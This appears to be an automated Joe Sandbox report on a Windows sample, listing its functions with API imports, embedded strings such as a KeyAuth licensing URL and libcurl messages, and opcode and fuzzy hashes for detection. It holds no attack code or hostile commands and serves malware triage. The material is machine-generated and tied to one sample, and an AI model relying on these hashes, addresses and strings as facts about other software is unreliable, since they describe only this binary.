Connected to %s (%s) port %ld (#%ld), xrefs: 00007FF747D51CF1

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: free$memset
String ID: Connected to %s (%s) port %ld (#%ld)$User-Agent: %s
API String ID: 2717317152-3248832348
Opcode ID: cbfb84e7a1472e2dc6d1eeab6a04b2804bc59b0f2f042e7c9ebc47c7a51ee133
Instruction ID: ea80f3c71cdf622697de26909b37c9d47301d863a4c0c508d4690181aec870d4
Opcode Fuzzy Hash: cbfb84e7a1472e2dc6d1eeab6a04b2804bc59b0f2f042e7c9ebc47c7a51ee133
Instruction Fuzzy Hash: 8A71826291CAC2C2E751FF2594003BDA750FB85B98FD94336DA5D0B285DF3AE442CB21

Function 00007FF747D62020 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 138COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D620B8
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D620C1
memcpy.VCRUNTIME140 ref: 00007FF747D620DC
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D6223C
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D62245

Strings

1.1, xrefs: 00007FF747D6202F

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: free$memcpy
String ID: 1.1
API String ID: 4107583993-2150719395
Opcode ID: 1c4f9d8f6cc8ea222318239ae0d0b33bff5049adf4c60fe77cde5224e2d48f34
Instruction ID: 04ad0e47e39a4f1ae3e781bd4c7916b1a5ed9945801963562d005914dd33a441
Opcode Fuzzy Hash: 1c4f9d8f6cc8ea222318239ae0d0b33bff5049adf4c60fe77cde5224e2d48f34
Instruction Fuzzy Hash: 96516E72619E85C6E764AF22E9403AAB3A4FB49B84F848131CF9E57754DF3CE056CB10

Function 00007FF747D48708 Relevance: 7.8, APIs: 4, Strings: 1, Instructions: 297COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D48858
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D4889F
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D488CA

Part of subcall function 00007FF747D47610: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D4765E
Part of subcall function 00007FF747D47610: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D47675

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D488FF

Strings

Resolving timed out after %I64d milliseconds, xrefs: 00007FF747D47C46

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: free
String ID: Resolving timed out after %I64d milliseconds
API String ID: 1294909896-3343404259
Opcode ID: 10657737ca2f4763c17a4a63984ea63c382b0e81ced8098d2d3c6f5d42afd508
Instruction ID: 32cd6a77b01da18ecae757ef71025bf9f209d874beb773290e7962ebf7ca2fa2
Opcode Fuzzy Hash: 10657737ca2f4763c17a4a63984ea63c382b0e81ced8098d2d3c6f5d42afd508
Instruction Fuzzy Hash: B5D1C561A6C642C5FB25BF69D4523BCA3A1FF40B88F885671CE4D17689DF38E442CB60

Function 00007FF747D33560 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 157windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF747D32850: system.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D328B7
Part of subcall function 00007FF747D32850: system.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D32927
Part of subcall function 00007FF747D32850: system.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D32987
Part of subcall function 00007FF747D32850: system.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D329D7
Part of subcall function 00007FF747D32850: system.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D32A27

MessageBoxA.USER32 ref: 00007FF747D33737

Part of subcall function 00007FF747D34320: memcpy.VCRUNTIME140(7FFFFFFFFFFFFFFF,https://keyauth.win/api/1.2/,-3333333333333333,00007FF747D31B59), ref: 00007FF747D34351

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D3379A

Strings

keyauth.win, xrefs: 00007FF747D336C3
null, xrefs: 00007FF747D335C2

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: system$Message_invalid_parameter_noinfo_noreturnmemcpy
String ID: keyauth.win$null
API String ID: 3545939226-2841560827
Opcode ID: 3e5abb7288890a4fc8899d222c24889ad372a90a3be2c578b41b68e9d64047e2
Instruction ID: 04d8d39a0809c879703d2ba5324948f46ee287606b19650beae60a6d114d3076
Opcode Fuzzy Hash: 3e5abb7288890a4fc8899d222c24889ad372a90a3be2c578b41b68e9d64047e2
Instruction Fuzzy Hash: 7451DA62B2C781C6FB04FB75D5453AC6361AB05B88FC04234DE4D27B8ACF3CA1928B90

Function 00007FF747D82D90 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF747D58F70: GetModuleHandleA.KERNEL32(?,?,?,00007FF747D82DCA,?,?,?,?,00007FF747D592FB), ref: 00007FF747D58F84

GetProcAddressForCaller.KERNELBASE(?,?,?,?,00007FF747D592FB), ref: 00007FF747D82DE0

Strings

InitSecurityInterfaceA, xrefs: 00007FF747D82DD6
secur32.dll, xrefs: 00007FF747D82DB3
security.dll, xrefs: 00007FF747D82DBA

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: AddressCallerHandleModuleProc
String ID: InitSecurityInterfaceA$secur32.dll$security.dll
API String ID: 2084706301-3788156360
Opcode ID: 8c00c9138cdfd17adfae597e72f02553676a85cbf6f4c48e13838bd5606a6a78
Instruction ID: 89ff28cf3e7e3947ad8c3a0db8eef36ed166fb34aef3aaf8e3ee35a3bcac9e63
Opcode Fuzzy Hash: 8c00c9138cdfd17adfae597e72f02553676a85cbf6f4c48e13838bd5606a6a78
Instruction Fuzzy Hash: 3EF03CA5E2EB03D1FE49BF15A9817B0A7A0AF55344FC90634C40D46395EE3CB5878B60

Function 00007FF747D4823B Relevance: 6.2, APIs: 3, Strings: 1, Instructions: 246COMMON

Download Yara Rule

Strings

Resolving timed out after %I64d milliseconds, xrefs: 00007FF747D47C46

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID:
String ID: Resolving timed out after %I64d milliseconds
API String ID: 0-3343404259
Opcode ID: 0941e4454e05a29280e0911c3d610acfc878dd03c0a985a790bc3422c380df87
Instruction ID: 4b15dffbf92405b0aad6f6dbdb67eddbb210cffa1cf6c5033f27b28b2f46c93b
Opcode Fuzzy Hash: 0941e4454e05a29280e0911c3d610acfc878dd03c0a985a790bc3422c380df87
Instruction Fuzzy Hash: CBB1B662A6C642C5FB64BF29C05627CA3A0FF41B98F984671CA0E472C5DF79E442CB60

Function 00007FF747D61BE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 97COMMON

Download Yara Rule

APIs

calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D61CE0

Part of subcall function 00007FF747D62270: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D622CA

Part of subcall function 00007FF747D62020: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D620B8
Part of subcall function 00007FF747D62020: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D620C1

Strings

TCP4, xrefs: 00007FF747D61C7A
PROXY %s %s %s %li %li, xrefs: 00007FF747D61CB4
TCP6, xrefs: 00007FF747D61C67

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: free$calloc
String ID: PROXY %s %s %s %li %li$TCP4$TCP6
API String ID: 3095843317-1242256665
Opcode ID: c5e2180f9f9cf6fdb7d008c5cb0212e23c1ef3b8c29572bc44d1bb43f673ab2e
Instruction ID: 64c15b9fa9ca35ca39f28c6b6e484a2a5189f06975c870cba6d98679a151d0f2
Opcode Fuzzy Hash: c5e2180f9f9cf6fdb7d008c5cb0212e23c1ef3b8c29572bc44d1bb43f673ab2e
Instruction Fuzzy Hash: D1418771A1CA82C6E760FB25E4003BAB7A1EF89784F988132DA4D47685DE3DD446CF60

Function 00007FF747D464D0 Relevance: 6.1, APIs: 4, Instructions: 95COMMON

Download Yara Rule

APIs

calloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,00000000,00007FF747D42506,?,?,?,?,00000000,?,00007FF747D3371E), ref: 00007FF747D464ED
closesocket.WS2_32 ref: 00007FF747D465F9
closesocket.WS2_32 ref: 00007FF747D46606

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: closesocket$calloc
String ID:
API String ID: 2958813939-0
Opcode ID: b6a456a4a089e4e3369fdf0305b80fa9ba2a8c6b6d91dea78aa5f024105f3f8c
Instruction ID: 98edcc1336b06be934572de3a2b324b21c74e798e039ce98b0babe237a7a1986
Opcode Fuzzy Hash: b6a456a4a089e4e3369fdf0305b80fa9ba2a8c6b6d91dea78aa5f024105f3f8c
Instruction Fuzzy Hash: C3416031A2CA42D2E740FF34D4512E9A361EF88768FC44735DE5E4A2DAEF39D1468B20

Function 00007FF747D408F0 Relevance: 6.1, APIs: 4, Instructions: 91COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,0000006E00000006,?,FFFFFFFF,00007FF747D311FA), ref: 00007FF747D40928
memcpy.VCRUNTIME140(?,0000006E00000006,?,FFFFFFFF,00007FF747D311FA), ref: 00007FF747D409C9
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF747D409E7

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: memcpy$Concurrency::cancel_current_task
String ID:
API String ID: 326894585-0
Opcode ID: 66997184731f703451c23791d2a627075896e7fda698d68a4c0cfe32fbc39a11
Instruction ID: a95af23586598f2db8b21381433705b0881653d92597982291c4355c1bb11b42
Opcode Fuzzy Hash: 66997184731f703451c23791d2a627075896e7fda698d68a4c0cfe32fbc39a11
Instruction Fuzzy Hash: 9631E862B6D746C1FA15BB51E94137C9250AF05BE4F980BB0DE6D0BBC2DE3CA4938750

Function 00007FF747D6A390 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 129COMMON

Download Yara Rule

Strings

select/poll on SSL/TLS socket, errno: %d, xrefs: 00007FF747D6A4D3
SSL/TLS connection timeout, xrefs: 00007FF747D6A4EC

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID:
String ID: SSL/TLS connection timeout$select/poll on SSL/TLS socket, errno: %d
API String ID: 0-3791222319
Opcode ID: 7fa13c49b24e689c40520287ff494307deb94f068bb3c06259e26676ef4ea447
Instruction ID: ce337b71d0f3171c997cc627a4a0a492f9c3be664e18181bf0bd1e514ae400b8
Opcode Fuzzy Hash: 7fa13c49b24e689c40520287ff494307deb94f068bb3c06259e26676ef4ea447
Instruction Fuzzy Hash: 5251A332A2CA42C6EB64FB259944279A790FB857A4F94C331DE5D472D5EE3CE412CB20

Function 00007FF747D466D0 Relevance: 4.8, APIs: 3, Instructions: 309networkCOMMON

Download Yara Rule

APIs

recv.WS2_32 ref: 00007FF747D46AC6
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D46AE7

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: freerecv
String ID:
API String ID: 2032557106-0
Opcode ID: c290df82bec0a9fbd1bba91402cfb6175d957c5f8f370d1a6f1b991630986998
Instruction ID: 507aaaff6b2529ba7861c2ce9ae6cec3ec776de7fe6a79b1fd5e8e62bb623add
Opcode Fuzzy Hash: c290df82bec0a9fbd1bba91402cfb6175d957c5f8f370d1a6f1b991630986998
Instruction Fuzzy Hash: D9C1C73266C682C6EB65BB25D8513B9A390FB447A4F844375DEAE437C4EE3CD8468F10

Function 00007FF747D527A0 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 106COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D52805

Strings

User-Agent: %s, xrefs: 00007FF747D52816
Connected to %s (%s) port %ld (#%ld), xrefs: 00007FF747D52944

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: free
String ID: Connected to %s (%s) port %ld (#%ld)$User-Agent: %s
API String ID: 1294909896-3248832348
Opcode ID: acf7e0c6a19e3e6413a3c3b3ac2091e70b7d1ead12cd6da52550afa0c6970e1d
Instruction ID: 22d6d81d7829f6a0a62f1a282d8575ad13fdf4913356f7f16b7462eaed735257
Opcode Fuzzy Hash: acf7e0c6a19e3e6413a3c3b3ac2091e70b7d1ead12cd6da52550afa0c6970e1d
Instruction Fuzzy Hash: C6518462A1CAC1C2E741AF35D1503EDA750EB84B98F884231DE8C5B3D9DF79E496CB20

Function 00007FF747D41D90 Relevance: 3.0, APIs: 2, Instructions: 46COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF747D41AA0: SleepEx.KERNELBASE ref: 00007FF747D41C5F

SetConsoleTitleA.KERNEL32 ref: 00007FF747D41DD8
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D41E32

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: ConsoleSleepTitle_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 4275364305-0
Opcode ID: 0482b1b62b6ae519898025941bbefb5542d9f6902fe729238a29048143dd3a8a
Instruction ID: 126f72382f821dcdd7135844e22be3003416d6e00e57a307c5dbbf88414b3478
Opcode Fuzzy Hash: 0482b1b62b6ae519898025941bbefb5542d9f6902fe729238a29048143dd3a8a
Instruction Fuzzy Hash: 63118261A2C586C2EE10FB10E455369A360FF897E4FC00331E59E066E9DF2CE486CF14

Function 00007FF747D56600 Relevance: 3.0, APIs: 2, Instructions: 23networkCOMMON

Download Yara Rule

APIs

recv.WS2_32 ref: 00007FF747D5660C
WSAGetLastError.WS2_32 ref: 00007FF747D5661B

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: ErrorLastrecv
String ID:
API String ID: 2514157807-0
Opcode ID: 9297357e9789c547a433d17009090a850aba96bb81910332f5902cd5212cb4f3
Instruction ID: f29ae389f0651d3591cf1dbfd2c3774d0f230bf6886b2bff4dfea38a40fd324d
Opcode Fuzzy Hash: 9297357e9789c547a433d17009090a850aba96bb81910332f5902cd5212cb4f3
Instruction Fuzzy Hash: 09E0DF61F18609C3FF286BB0A8657391294DB49732F844774CA3A863C0DA2C44D74B10

Function 00007FF747D42380 Relevance: 3.0, APIs: 2, Instructions: 22COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF747D423A4
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF747D423C5

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: __acrt_iob_func__stdio_common_vfprintf
String ID:
API String ID: 2168557111-0
Opcode ID: 3d02d3eb83713d43c77fd4721ff7eee78d3dbed60bee5a5b721cc135446cce2f
Instruction ID: 46ff2ed00c7a3ab81f32a6765d3a0cb135c072dbd50b6eb780e458f0b396220f
Opcode Fuzzy Hash: 3d02d3eb83713d43c77fd4721ff7eee78d3dbed60bee5a5b721cc135446cce2f
Instruction Fuzzy Hash: AFE03972A08B81C2D600AB50F90455AF7A8FB997C4F804235EBCC57A29CF7CD1A6CB40

Function 00007FF747D56EE0 Relevance: 1.5, APIs: 1, Instructions: 40COMMON

Download Yara Rule

APIs

closesocket.WS2_32 ref: 00007FF747D56F23

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: closesocket
String ID:
API String ID: 2781271927-0
Opcode ID: c66370dc830ad94e535e2ad815e95569a5c7930ebc6c8522cb5e8aded36d2ec2
Instruction ID: 1e9b6813f6c1c5342b3ee8bf6ddd8282a07e9189d80435c1f8f9d15d7cca8701
Opcode Fuzzy Hash: c66370dc830ad94e535e2ad815e95569a5c7930ebc6c8522cb5e8aded36d2ec2
Instruction Fuzzy Hash: 4A019612B2D541C2EF54FB2AE5593ADA790EF88FC8F884171D70E47295CE28D4968B10

Function 00007FF747D5EA00 Relevance: 1.5, APIs: 1, Instructions: 23networkCOMMON

Download Yara Rule

APIs

socket.WS2_32 ref: 00007FF747D5EA29

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: socket
String ID:
API String ID: 98920635-0
Opcode ID: 9aa50d9fc156e246847f462c3a65219810722acfc51c2770c2959e6d5f14f527
Instruction ID: 8f58cf62452736656b68c7e327defdda330f7cfd3320f54ba6382cf22fb56ddd
Opcode Fuzzy Hash: 9aa50d9fc156e246847f462c3a65219810722acfc51c2770c2959e6d5f14f527
Instruction Fuzzy Hash: FFE0ED2AE1A201C2DE08BB3188912A82360AB40B60FC04370C63D063C0CE2DA6579F10

Function 00007FF747D69660 Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

